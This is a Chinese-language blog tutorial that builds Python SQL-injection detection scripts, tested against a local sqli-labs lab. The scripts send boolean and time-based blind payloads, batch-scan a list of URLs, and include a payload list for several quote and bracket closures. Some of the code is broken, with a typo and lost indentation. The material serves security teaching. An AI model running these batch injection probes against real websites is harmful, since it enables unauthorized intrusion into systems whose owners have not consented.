热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

python之poc编写——sql篇

文章目录sql注入漏洞漏扫单个网站基础sql扫描多个网站sql基础扫描时间盲注型扫描升阶版sq



文章目录



  • sql注入漏洞漏扫



    • 单个网站基础sql扫描

    • 多个网站sql基础扫描



      • 时间盲注型扫描

      • 升阶版sql批量扫描





poc:即验证漏洞是否存在的脚本,也就是扫描器


兄弟们,开始写扫描器啦


sql注入漏洞漏扫

单个网站基础sql扫描

第一步,当然是写request函数啦。除了时间盲注外,1' and 1=2%23就能判断字符型的sql注入

#!/usr/bin/python
# encoding = utf-8
import requests
def poc(url):
result_rep = requests.get(url)
return len(result_rep.text)
if __name__=="__main__":
header = {"User_Agent":"Firefox/50.0"}#http头,随便写一个装装样子
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1"

result_lens = []#创建空列表用于比对后面and判断的返回包长度
rep = requests.get(url,headers=header)
normal_len = len(rep.text)#正常请求,也就是if判断正确时应该返回的数据包长度
payloads = ["\'%20and%201=1%23","\'%20and%201=2%23"]#通过单引号and 1=2来验证,用Url编码了空格
for payload in payloads:
result_len = poc(url+payload)#发包
result_lens.append(result_len)

if(result_lens[0] == normal_len & normal_len != result_lens[1]):#表示and 1=1是正确返回包的长度,而and 1=2是错误的返回包长度,也就是说单引号后的内容被mysql正确的执行
print "exists SQL Injection!"

ok,一个很辣鸡的poc产生了,我相信知道sql注入原理的伙伴看到这些个注释没可能读不懂这个脚本

那批量扫描呢?


多个网站sql基础扫描

当然是读文件啦
对上述代码进行改良:

#!/usr/bin/python
# encoding = utf-8
import requests
def poc(url):
result_rep = requests.get(url)
return len(result_rep.text)
def run(url):#把main里进行sql检验的代码进行重复调用,把这段代码写进run函数
result_lens = []
rep = requests.get(url,headers=header)
normal_len = len(rep.text)
payloads = ["\'%20and%201=1%23","\'%20and%201=2%23"]
for payload in payloads:
result_len = poc(url+payload)
result_lens.append(result_len)

if(result_lens[0] == normal_len & normal_len != result_lens[1]):
print "exists SQL Injection!"
if __name__=="__main__":
header = {"User_Agent":"Firefox/50.0"}
urls = open("url.txt",'r').readlines()#将每一行的信息保存到列表里
for url in urls:
run(url)#对url.txt内的网址批量用数据包长度比对方式进行扫描

现在将待扫网址写入url.txt中即可批量扫描,但是如果是时间盲注,那用数据返回包的长度就不能判断有无sql注入漏洞了


时间盲注型扫描

这种扫描就适用于没有过滤且为字符型的所有注入,要用到上一博客讲到的Exception进行异常判断,加在poc校验内。那都用sleep来判断了,result_len就没用了,直接删掉

#!/usr/bin/python
# encoding = utf-8
import requests
def poc(url):
try:
result_rep = requests.get(url,timeout=3)
result "no sql injection"
except Exception as e:
return "timeout"#如果sleep了,就存在sql注入漏洞
def run(url):
rep = requests.get(url,headers=header)
payloads = ["\'%20and%20sleep(5)%23"]
for payload in payloads:
result_info = poc(url+payload)
if("timeout" in result_info):
print "exist sql injection!"
if __name__=="__main__":
header = {"User_Agent":"Firefox/50.0"}
urls = open("url.txt",'r').readlines()#将每一行的信息保存到列表里
for url in urls:
run(url)#对url.txt内的网址批量用数据包长度比对方式进行扫描

py脚本扫描结果


升阶版sql批量扫描

上述脚本存在误报,就是payload只有一个单引号闭合,没办法检验数字型sql,双引号型,’)型,’))等
在payload中多加几个类型

payloads = ["\'%20and%20sleep(5)%23","\"%20and%20sleep(5)%23","%20and%20sleep(5)%23","\')%20and%20sleep(5)%23","\'))%20and%20sleep(5)%23"]

正确的批量扫描http头注入和waf注入poc下一节来讲



推荐阅读
  • 本文整理了常用的CSS属性及用法,包括背景属性、边框属性、尺寸属性、可伸缩框属性、字体属性和文本属性等,方便开发者查阅和使用。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • 本文介绍了在Linux下安装Perl的步骤,并提供了一个简单的Perl程序示例。同时,还展示了运行该程序的结果。 ... [详细]
  • XML介绍与使用的概述及标签规则
    本文介绍了XML的基本概念和用途,包括XML的可扩展性和标签的自定义特性。同时还详细解释了XML标签的规则,包括标签的尖括号和合法标识符的组成,标签必须成对出现的原则以及特殊标签的使用方法。通过本文的阅读,读者可以对XML的基本知识有一个全面的了解。 ... [详细]
  • 本文介绍了如何使用C#制作Java+Mysql+Tomcat环境安装程序,实现一键式安装。通过将JDK、Mysql、Tomcat三者制作成一个安装包,解决了客户在安装软件时的复杂配置和繁琐问题,便于管理软件版本和系统集成。具体步骤包括配置JDK环境变量和安装Mysql服务,其中使用了MySQL Server 5.5社区版和my.ini文件。安装方法为通过命令行将目录转到mysql的bin目录下,执行mysqld --install MySQL5命令。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
author-avatar
百脑汇惠州店_956
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有